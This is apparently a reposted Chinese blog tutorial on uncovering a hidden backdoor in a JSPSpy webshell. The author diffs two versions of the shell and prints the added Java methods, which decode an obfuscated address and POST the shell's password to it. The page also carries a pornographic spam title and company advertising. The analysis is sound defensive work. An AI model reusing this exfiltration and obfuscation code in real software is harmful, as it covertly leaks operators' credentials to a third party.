欧美一区二区三区老妇人-欧美做爰猛烈大尺度电-99久久夜色精品国产亚洲a-亚洲福利视频一区二区

如何查看webshell的后門

這篇文章主要介紹了如何查看webshell的后門,具有一定借鑒價(jià)值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著大家一起了解一下。

榕城網(wǎng)站制作公司哪家好,找創(chuàng)新互聯(lián)!從網(wǎng)頁(yè)設(shè)計(jì)、網(wǎng)站建設(shè)、微信開(kāi)發(fā)、APP開(kāi)發(fā)、成都響應(yīng)式網(wǎng)站建設(shè)公司等網(wǎng)站項(xiàng)目制作,到程序開(kāi)發(fā),運(yùn)營(yíng)維護(hù)。創(chuàng)新互聯(lián)成立與2013年到現(xiàn)在10年的時(shí)間,我們擁有了豐富的建站經(jīng)驗(yàn)和運(yùn)維經(jīng)驗(yàn),來(lái)保證我們的工作的順利進(jìn)行。專注于網(wǎng)站建設(shè)就選創(chuàng)新互聯(lián)。

follow me

我們咋一看這不就是jspspy嘛


如何查看webshell的后門

年輕人不要急我們先把整個(gè)項(xiàng)目download下來(lái)然后再好好分析看看通過(guò)文件大小比較x7.jsp和下面的xia.jsp發(fā)現(xiàn)x7.jsp比xia.jsp多了2kb已知xia.jsp也是一個(gè)版本的jspspy。


如何查看webshell的后門

但是當(dāng)我們分別打開(kāi)x7.jsp和xia.jsp時(shí)試圖想找到是哪里多出來(lái)2kb時(shí)發(fā)現(xiàn)有點(diǎn)不切實(shí)際作為一個(gè)java的初學(xué)者我們似乎并沒(méi)有那么大的本事去通讀jspspy的各個(gè)功能模塊的代碼。于是乎我們可以通過(guò)windows自帶的命令去進(jìn)行文本內(nèi)容比較(emmmm,類似于linux下的diff命令)

如何查看webshell的后門

利用管道符號(hào)將兩個(gè)jsp不同的地方重定向輸出至txt文檔中。


如何查看webshell的后門

打開(kāi)txt我們便開(kāi)始分析很突然就發(fā)現(xiàn)有一個(gè)問(wèn)題如下圖

請(qǐng)注意txt文檔的23行的代碼x7.jsp中又定義了一個(gè)變量sxm值就是PW的值。


如何查看webshell的后門

那我們開(kāi)始著重分析一下x7.jsp中新定義的這個(gè)sxm變量是拿來(lái)干什么的吧。

接著用編輯器直接ctrl+f在當(dāng)前文件中查找sxm


如何查看webshell的后門

直接轉(zhuǎn)向854行

發(fā)現(xiàn)有三個(gè)新的方法(就是C語(yǔ)言里面的函數(shù))分別是uc()、dx()和FileLocalUpload()依次去定位查看這三個(gè)方法的代碼塊。

FileLocalUpload()方法

public static String FileLocalUpload(String reqUrl,String fckal,String recvEncoding) {
        HttpURLConnection url_con = null;
        String responseContent = null;
        try {
                URL url = new URL(reqUrl);
                url_con = (HttpURLConnection) url.openConnection();
                url_con.setRequestMethod("POST");
  
                url_con.setRequestProperty("REFERER", ""+fckal+"");
                System.setProperty("sun.net.client.defaultConnectTimeout", String.valueOf(connectTimeOut));
                System.setProperty("sun.net.client.defaultReadTimeout", String.valueOf(readTimeOut)); 
                url_con.setDoOutput(true);
                url_con.getOutputStream().flush();
                url_con.getOutputStream().close();
                InputStream in = url_con.getInputStream();
                BufferedReader rd = new BufferedReader(new InputStreamReader(in,recvEncoding));
                String tempLine = rd.readLine();
                StringBuffer tempStr = new StringBuffer();
                String crlf=System.getProperty("line.separator");
                while (tempLine != null) {
                        tempStr.append(tempLine);
                        tempStr.append(crlf);
                        tempLine = rd.readLine();
                }
        responseContent = tempStr.toString();
        rd.close();
        in.close();
        }
        catch (IOException e) {
        }
        finally {
                if (url_con != null) {
                        url_con.disconnect();
                }
        }
        return responseContent;
}

dx()方法

public static String SysInfo="=?./..//:";
public static String dx() {
        String s = new String();
        for (int i = SysInfo.length() - 1; i >= 0; i--) {
                s += SysInfo.charAt(i);
        }
        return s;
}

uc()方法

public static String uc(String str) {
        String c="\n\r"; long d=127,  f=11, j=12, h=14,  m=31, r=83, k=1, n=8,  s=114, u=-5, v=5,a=0;
        StringBuffer sb = new StringBuffer();
        char[] ch = str.toCharArray();
  
        for (int i = 0; i < ch.length; i++) {
                a = (int)ch[i];
                if(a==d) a=13; 
                if(a==f) a=10; 
                if(a==j) a=34; 
                if((a>=h) && (a<=m)) a=a+r; 
                if((a>=k) && (a<=n)) a=a+s; 
                if((a>=53) && (a<=57)) a=a+u; 
                if((a>=48) && (a<=52)) a=a+v;  
                sb.append((char)a);
        }
        return sb.toString();
}

怎么辦看不懂啊。

不要慌~~ 看不懂不要緊我們可以直接把方法拿過(guò)來(lái)再處理一次只不過(guò)我不用FileLocalUpload()方法去處理我直接把sxm變量和uc()、dx()執(zhí)行之后print輸出就行。所以自己寫寫代碼

import java.io.*;
import java.util.*;
 
class x7 {
        public static void main(String[] args) {
                String PW = "ttttt";
                String sxm=PW;
                 
                System.out.println(uc(dx())+sxm);
        }
 
        public static String dx() {
                String s = new String();
                String SysInfo="=?./..//:";
                for (int i = SysInfo.length() - 1; i >= 0; i--) {
                        s += SysInfo.charAt(i);
                }
                return s;
        }
 
        public static String uc(String str) {
                String c="\n\r"; long d=127,  f=11, j=12, h=14,  m=31, r=83, k=1, n=8,  s=114, u=-5, v=5,a=0;
                StringBuffer sb = new StringBuffer();
                char[] ch = str.toCharArray();
 
                for (int i = 0; i < ch.length; i++) {
                        a = (int)ch[i];
                        if(a==d) a=13; 
                        if(a==f) a=10; 
                        if(a==j) a=34; 
                        if((a>=h) && (a<=m)) a=a+r; 
                        if((a>=k) && (a<=n)) a=a+s; 
                        if((a>=53) && (a<=57)) a=a+u; 
                        if((a>=48) && (a<=52)) a=a+v;  
                        sb.append((char)a);
                }
                return sb.toString();
        }
}

寫完調(diào)試一下然后javac編譯一下發(fā)現(xiàn)不報(bào)錯(cuò)就行。

如何查看webshell的后門

接著執(zhí)行一次看看


如何查看webshell的后門

感謝你能夠認(rèn)真閱讀完這篇文章,希望小編分享的“如何查看webshell的后門”這篇文章對(duì)大家有幫助,同時(shí)也希望大家多多支持創(chuàng)新互聯(lián),關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,更多相關(guān)知識(shí)等著你來(lái)學(xué)習(xí)!

當(dāng)前文章:如何查看webshell的后門
標(biāo)題路徑:http://chinadenli.net/article44/jpcihe.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供靜態(tài)網(wǎng)站微信小程序ChatGPT全網(wǎng)營(yíng)銷推廣軟件開(kāi)發(fā)標(biāo)簽優(yōu)化

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

成都網(wǎng)頁(yè)設(shè)計(jì)公司